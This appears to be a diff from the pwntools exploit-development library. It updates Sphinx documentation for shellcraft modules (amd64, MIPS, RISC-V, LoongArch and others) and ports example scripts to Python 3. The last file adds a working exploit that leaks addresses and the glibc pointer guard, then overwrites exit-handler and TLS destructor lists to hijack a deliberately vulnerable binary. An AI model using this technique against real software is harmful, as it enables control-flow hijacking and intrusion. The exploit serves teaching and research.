docs/source/shellcraft/amd64.rst

@@ -3,6 +3,10 @@
    from pwn import *
    context.clear(arch='amd64')
 
+   # TODO: POSIX/WINDOWS shellcode test
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
+
 :mod:`pwnlib.shellcraft.amd64` --- Shellcode for AMD64
 ===========================================================
 
@@ -17,3 +21,9 @@
 
 .. automodule:: pwnlib.shellcraft.amd64.linux
    :members:
+
+:mod:`pwnlib.shellcraft.amd64.windows`
+---------------------------------------
+
+.. automodule:: pwnlib.shellcraft.amd64.windows
+   :members:

docs/source/shellcraft/arm.rst

@@ -3,6 +3,9 @@
    from pwn import *
    context.clear(arch='arm')
 
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
+
 :mod:`pwnlib.shellcraft.arm` --- Shellcode for ARM
 ===========================================================
 

docs/source/shellcraft/i386.rst

@@ -3,6 +3,9 @@
    from pwn import *
    context.clear(arch='i386')
 
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
+
 :mod:`pwnlib.shellcraft.i386` --- Shellcode for Intel 80386
 ===========================================================
 

docs/source/shellcraft/loongarch64.rst

@@ -0,0 +1,22 @@
+.. testsetup:: *
+
+   from pwn import *
+   context.clear(arch='loongarch64')
+
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
+
+:mod:`pwnlib.shellcraft.loongarch64` --- Shellcode for LoongArch64
+==================================================================
+
+:mod:`pwnlib.shellcraft.loongarch64`
+------------------------------------
+
+.. automodule:: pwnlib.shellcraft.loongarch64
+   :members:
+
+:mod:`pwnlib.shellcraft.loongarch64.linux`
+------------------------------------------
+
+.. automodule:: pwnlib.shellcraft.loongarch64.linux
+   :members:

docs/source/shellcraft/mips.rst

@@ -0,0 +1,31 @@
+.. testsetup:: *
+
+   import tempfile
+
+   from pwnlib import shellcraft
+
+   from pwnlib.asm import asm
+   from pwnlib.context import context
+   from pwnlib.runner import run_assembly
+   from pwnlib.util.fiddling import enhex
+   from pwnlib.util.misc import write
+
+   context.clear(arch='mips')
+
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
+
+:mod:`pwnlib.shellcraft.mips` --- Shellcode for MIPS
+===========================================================
+
+:mod:`pwnlib.shellcraft.mips`
+-----------------------------
+
+.. automodule:: pwnlib.shellcraft.mips
+   :members:
+
+:mod:`pwnlib.shellcraft.mips.linux`
+-----------------------------------
+
+.. automodule:: pwnlib.shellcraft.mips.linux
+   :members:

docs/source/shellcraft/riscv64.rst

@@ -0,0 +1,22 @@
+.. testsetup:: *
+
+   from pwn import *
+   context.clear(arch='riscv64')
+
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
+
+:mod:`pwnlib.shellcraft.riscv64` --- Shellcode for RISCV64
+==========================================================
+
+:mod:`pwnlib.shellcraft.riscv64`
+--------------------------------
+
+.. automodule:: pwnlib.shellcraft.riscv64
+   :members:
+
+:mod:`pwnlib.shellcraft.riscv64.linux`
+--------------------------------------
+
+.. automodule:: pwnlib.shellcraft.riscv64.linux
+   :members:

docs/source/shellcraft/thumb.rst

@@ -3,6 +3,9 @@
    from pwn import *
    context.clear(arch='thumb')
 
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
+
 :mod:`pwnlib.shellcraft.thumb` --- Shellcode for Thumb Mode
 ===========================================================
 

docs/source/term.rst

@@ -3,3 +3,9 @@
 
 .. automodule:: pwnlib.term
    :members:
+
+Term Modules
+-------------------
+
+.. toctree::
+    term/readline

docs/source/term/readline.rst

@@ -0,0 +1,10 @@
+.. testsetup:: *
+
+   from pwnlib.term.readline import *
+   import io
+
+:mod:`pwnlib.term.readline` --- Terminal nice readline
+======================================================
+
+.. automodule:: pwnlib.term.readline
+   :members:

docs/source/tubes.rst

@@ -27,4 +27,4 @@ Types of Tubes
   .. autoclass:: pwnlib.tubes.tube.tube()
      :members:
      :exclude-members: recv_raw, send_raw, settimeout_raw,
-                       can_recv_raw
+                       can_recv_raw, shutdown_raw, connected_raw,

docs/source/tubes/buffer.rst

@@ -0,0 +1,9 @@
+.. testsetup:: *
+
+   from pwnlib.tubes.buffer import *
+
+:mod:`pwnlib.tubes.buffer` --- buffer implementation for tubes
+==============================================================
+
+.. automodule:: pwnlib.tubes.buffer
+   :members:

docs/source/tubes/sockets.rst

@@ -1,6 +1,7 @@
 .. testsetup:: *
 
    from pwn import *
+   from pwnlib.tubes.server import server
 
 :mod:`pwnlib.tubes.sock` --- Sockets
 ===========================================================
@@ -23,3 +24,9 @@
    .. autoclass:: pwnlib.tubes.listen.listen
       :members:
       :show-inheritance:
+
+.. automodule:: pwnlib.tubes.server
+
+   .. autoclass:: pwnlib.tubes.server.server
+      :members:
+      :show-inheritance:

docs/source/tubes/ssh.rst

@@ -2,6 +2,10 @@
 
    from pwn import *
 
+   # TODO: Remove global POSIX flag
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
+
 :mod:`pwnlib.tubes.ssh` --- SSH
 ===========================================================
 
@@ -14,6 +18,10 @@
       :members: kill, poll, interactive
       :show-inheritance:
 
+   .. autoclass:: pwnlib.tubes.ssh.ssh_process
+      :members:
+      :show-inheritance:
+
    .. autoclass:: pwnlib.tubes.ssh.ssh_connecter()
       :show-inheritance:
 

docs/source/ui.rst

@@ -1,3 +1,11 @@
+.. testsetup:: *
+
+   from pwn import *
+   import io
+
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
+
 :mod:`pwnlib.ui` --- Functions for user interaction
 ===================================================
 

docs/source/update.rst

@@ -0,0 +1,10 @@
+.. testsetup:: *
+
+   from pwn import *
+   from pwnlib.update import *
+
+:mod:`pwnlib.update` --- Updating Pwntools
+===================================================
+
+.. automodule:: pwnlib.update
+   :members:

docs/source/util/cyclic.rst

@@ -1,5 +1,6 @@
 .. testsetup:: *
 
+   from pwn import *
    from pwnlib.util.cyclic import *
 
 

docs/source/util/fiddling.rst

@@ -1,6 +1,7 @@
 .. testsetup:: *
 
-   from pwnlib.util.fiddling import *
+    from pwn import *
+    from pwnlib.util.fiddling import *
 
 
 :mod:`pwnlib.util.fiddling` --- Utilities bit fiddling

docs/source/util/getdents.rst

@@ -0,0 +1,11 @@
+.. testsetup:: *
+
+   from pwnlib.util.getdents import *
+   from pwnlib.util.fiddling import unhex
+
+
+:mod:`pwnlib.util.getdents` --- Linux binary directory listing
+==============================================================
+
+.. automodule:: pwnlib.util.getdents
+   :members:

docs/source/util/iters.rst

@@ -17,19 +17,19 @@
      count                                  ,
      cycle                                  ,
      dropwhile                              ,
+     filter                                 ,
+     filterfalse                            ,
      groupby                                ,
-     ifilter                                ,
-     ifilterfalse                           ,
-     imap                                   ,
      islice                                 ,
-     izip                                   ,
-     izip_longest                           ,
+     map                                    ,
      permutations                           ,
      product                                ,
      repeat                                 ,
      starmap                                ,
      takewhile                              ,
-     tee
+     tee                                    ,
+     zip                                    ,
+     zip_longest
 
 .. function:: chain
 
@@ -63,29 +63,29 @@
 
    Alias for :func:`itertools.groupby`
 
-.. function:: ifilter
+.. function:: filter
 
-   Alias for :func:`itertools.ifilter`
+   Alias for python3-style :func:`filter`
 
-.. function:: ifilterfalse
+.. function:: filterfalse
 
-   Alias for :func:`itertools.ifilterfalse`
+   Alias for :func:`itertools.filterfalse`
 
-.. function:: imap
+.. function:: map
 
-   Alias for :func:`itertools.imap`
+   Alias for python3-style :func:`map`
 
 .. function:: islice
 
    Alias for :func:`itertools.islice`
 
-.. function:: izip
+.. function:: zip
 
-   Alias for :func:`itertools.izip`
+   Alias for python3-style :func:`zip`
 
-.. function:: izip_longest
+.. function:: zip_longest
 
-   Alias for :func:`itertools.izip_longest`
+   Alias for :func:`itertools.zip_longest`
 
 .. function:: permutations
 

docs/source/util/misc.rst

@@ -1,8 +1,8 @@
 .. testsetup:: *
 
+   from pprint import pprint
    from pwnlib.util.misc import *
    import os, subprocess
-   os.chdir("..")
 
 :mod:`pwnlib.util.misc` --- We could not fit it any other place
 ===============================================================

docs/source/util/net.rst

@@ -2,6 +2,8 @@
 
    from pwnlib.util.net import *
 
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
 
 :mod:`pwnlib.util.net` --- Networking interfaces
 ===================================================

docs/source/util/proc.rst

@@ -1,8 +1,12 @@
 .. testsetup:: *
 
    from pwnlib.util.proc import *
+   from pwnlib.tubes.process import process
    import os, sys
 
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
+
 
 :mod:`pwnlib.util.proc` --- Working with ``/proc/``
 ===================================================

docs/source/util/safeeval.rst

@@ -1,6 +1,7 @@
 .. testsetup:: *
 
    from pwnlib.util.safeeval import *
+   _get_opcodes = pwnlib.util.safeeval._get_opcodes
 
 
 :mod:`pwnlib.util.safeeval` --- Safe evaluation of python code

docs/source/util/sh_string.rst

@@ -0,0 +1,10 @@
+.. testsetup:: *
+
+   from pwn import *
+   test = pwnlib.util.sh_string.test
+
+:mod:`pwnlib.util.sh_string` --- Shell Expansion is Hard
+===============================================================
+
+.. automodule:: pwnlib.util.sh_string
+   :members:

docs/source/util/web.rst

@@ -1,5 +1,7 @@
 .. testsetup:: *
 
+   import tempfile
+
    from pwnlib.context import context
    from pwnlib.util.web import *
 

docs/source/windbg.rst

@@ -0,0 +1,9 @@
+.. testsetup:: *
+
+    from pwn import *
+
+:mod:`pwnlib.windbg` --- Working with WinDbg
+============================================
+
+.. automodule:: pwnlib.windbg
+   :members:

examples/README.md

@@ -4,7 +4,7 @@ the pwntools project.
 
 We have a plan to create a separate repository with examples, primarily
 exploits. Until we do so, we recommend new users to look at
-https://pwntools.readthedocs.org, as this is a better overview of our features.
+https://docs.pwntools.com, as this is a better overview of our features.
 
 In no particular order the docstrings for each example:
 
@@ -26,6 +26,10 @@ Try running this example with::
 ```
 Example showing the interface to `pwnlib.asm.asm` and `pwnlib.shellcraft`.
 ```
+* `attach.py`
+```
+Example showing `pwnlib.gdb.attach()`
+```
 * `clean_and_log.py`
 ```
 Use case for `pwnlib.tubes.tube.clean_and_log`.
@@ -65,8 +69,7 @@ Example showing `pwnlib.ui.options()`
 ```
 * `port_forward.py`
 ```
-A very simple port forwarder using `pwnlib.tubes.tube.connect_both()`.  Notice
-that `<>` is just a shorthand.
+A very simple port forwarder using `pwnlib.tubes.tube.connect_both()`.
 ```
 * `readline_completers.py`
 ```
@@ -74,6 +77,10 @@ Example showing pwnlib's readline implementation and a few completers.  This
 part of pwnlib will probably see some major changes soon, but we wanted to show
 off some proof-of-concepts.
 ```
+* `remote.py`
+```
+Example showing how to use the remote class.
+```
 * `remote_gdb_debugging.py`
 ```
 Simple example showing how to use the remote
@@ -103,7 +110,7 @@ and::
 
   $ TERM=xterm-256color python text.py
 ```
-* `remote.py`
+* `yesno.py`
 ```
-Example showing how to use the remote class.
+Example showing `pwnlib.ui.yesno()`
 ```

examples/android.py

@@ -1,22 +1,25 @@
-from pwn import *
+from __future__ import print_function
+
+import gdb
+from pwn import adb, context
 
 # Tell pwntools that the target is an Android device
-context.os='android'
-context.arch='aarch64' # or 'arm'
+context.os = "android"
+context.arch = "aarch64"  # or 'arm'
 
 # Optionally, set the remote ADB server address
-context.adb_host='172.16.110.1'
+context.adb_host = "172.16.110.1"
 
 # Wait for a device to become available
-print adb.wait_for_device()
+print(adb.wait_for_device())
 
 # Who am I?
-print adb.process('id').recvall().strip()
+print(adb.process("id").recvall().strip())
 
 # Interactive sessions!
 io = adb.shell()
-io.sendline('echo Hello, world; exit')
-print io.recvall().replace('\r\n', '\n').strip()
+io.sendline("echo Hello, world; exit")
+print(io.recvall().replace("\r\n", "\n").strip())
 
 # Debugging!
-gdb.debug('sh').interactive()
+gdb.debug("sh").interactive()

examples/args.py

@@ -14,5 +14,5 @@ Try running this example with::
 
 from pwn import *
 
-print args['RHOST'] or 'RHOST is not set'
-print args['RPORT'] or 'RPORT is not set'
+print(args['RHOST'] or 'RHOST is not set')
+print(args['RPORT'] or 'RPORT is not set')

examples/asm.py

@@ -9,5 +9,5 @@ context(arch='i386', os='linux')
 shellcode = shellcraft.i386_to_amd64()
 shellcode_asm = asm(shellcode)
 
-print enhex(shellcode_asm)
-print disasm(shellcode_asm)
+print(enhex(shellcode_asm))
+print(disasm(shellcode_asm))

examples/attach.py

@@ -5,7 +5,7 @@ Example showing `pwnlib.gdb.attach()`
 from pwn import *
 
 bash = process('/bin/bash')
-gdb.attach(bash, execute = '''
+gdb.attach(bash, gdbscript = '''
 p "hello from pwnlib"
 c
 ''')

examples/clean_and_log.py

@@ -11,18 +11,24 @@ Solution:
 """
 
 from pwn import *
+from multiprocessing import Process
 
-os.system('''((
-echo prefix sometext ;
-echo prefix someothertext ;
-echo here comes the flag ;
-echo LostInTheInterTubes
-) | nc -l 1337) &
-''')
+def submit_data():
+    with context.quiet:
+        with listen(1337) as io:
+            io.wait_for_connection()
+            io.sendline(b'prefix sometext')
+            io.sendline(b'prefix someothertext')
+            io.sendline(b'here comes the flag')
+            io.sendline(b'LostInTheInterTubes')
 
-r = remote('localhost', 1337)
-atexit.register(r.clean_and_log)
+if __name__ == '__main__':
+    p = Process(target=submit_data)
+    p.start()
 
-while True:
-    line = r.recvline()
-    print re.findall('^prefix (\S+)$', line)[0]
+    r = remote('localhost', 1337)
+    atexit.register(r.clean_and_log)
+
+    while True:
+        line = r.recvline()
+        print(re.findall(br'^prefix (\S+)$', line)[0])

examples/exit-handlers/exploit.py

@@ -0,0 +1,72 @@
+# The prebuilt binary is compiled in Arch Linux with glibc 2.43
+from pwn import *
+import shutil
+import tempfile
+import os
+
+context.log_level = 'debug'
+context.arch = 'amd64'
+EXE = './vulnerable'
+t = process(EXE)
+elf = ELF(EXE)
+
+# Copy libc so later we can unstrip it
+libc = elf.libc
+tmpfd, tmpname = tempfile.mkstemp()
+print(tmpfd)
+with open(libc.file.name, 'rb') as f:
+    shutil.copyfileobj(f, os.fdopen(tmpfd, 'wb'))
+
+libcdb.unstrip_libc(tmpname)
+libc = ELF(tmpname)
+
+# Now fetch information
+# XXX: in my build, the tls variable locates at fs:[-4]
+t.recvuntil(b': ')
+tls = int(t.recvline(), 16)
+info(f'Ready to read pointer_guard @ {tls + 0x30 + 4:#x}')
+
+t.recvuntil(b': ')
+handle = int(t.recvline(), 16)
+
+t.recvuntil(b': ')
+libc_base = int(t.recvline(), 16) - libc.symbols['puts']
+info(f'Leak libc_base: {libc_base:#x}')
+libc.address = libc_base
+
+t.recvuntil(b': ')
+chunk = int(t.recvline(), 16)
+
+# Then read pointer_guard value
+t.sendlineafter(b'%p', hex(tls + 0x30 + 4).encode())
+t.recvuntil(b': ')
+guard = int(t.recvline(), 16)
+info(f'Guard is: {guard:#x}')
+
+# Next overwrite initial and tls_dtors
+t.recvuntil(b'%p=%lx')
+# XXX: dtor_list->map->l_tls_dtor_count need to be dereferenced
+# on glibc 2.43, the offset is 0x498
+tls_dtor = glibc.ExitDtorList(handle, guard, chunk, chunk, 0)
+g_dtor = glibc.ExitFunc(glibc.ExitFlavor.CXA, handle, guard, 0xabcd, 0)
+g_dtor_list = glibc.ExitFuncList(0, [g_dtor])
+
+def write_object(addr: int, blob: bytes) -> str:
+    return ' '.join(
+        f'{addr + i:#x}={u64(blob[i:i + 8]):#x}'
+        for i in range(0, len(blob), 8)
+    )
+
+#   Firstly, write glibc initial to overwrite global dtor
+t.sendline(write_object(libc.symbols['initial'], bytes(g_dtor_list)).encode())
+#   Secondly, write tls dtor
+t.sendline(write_object(chunk, bytes(tls_dtor)).encode())
+# XXX: tls_dtor_list must be free-able
+# XXX: tls_dtor_list is not hard-encoded (in glibc GOT),
+# on my machine it's fs:[-0x48]
+t.sendline(write_object(tls + 4 - 0x48, p64(chunk)).encode())
+#   Thirdly, terminate cycle
+t.sendline(b'x')
+#   Finally, wait for exit
+t.recvuntil(b'happen:\n')
+t.interactive()